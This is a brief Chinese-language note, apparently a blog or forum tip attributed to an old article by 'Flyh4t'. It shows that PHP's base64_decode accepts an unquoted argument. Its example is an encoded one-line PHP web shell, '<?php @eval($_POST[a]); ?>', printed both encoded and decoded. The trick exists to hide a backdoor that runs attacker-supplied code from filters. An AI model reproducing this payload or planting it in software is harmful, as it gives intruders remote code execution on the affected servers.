从 Flyh4t  的某篇老文上知道的:

在字符串不包括 + \ =等特殊符号的情况下,base64_decode的参数是无须使用单引号或者双引号的

base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4x);

<?php @eval($_POST[a]); ?>1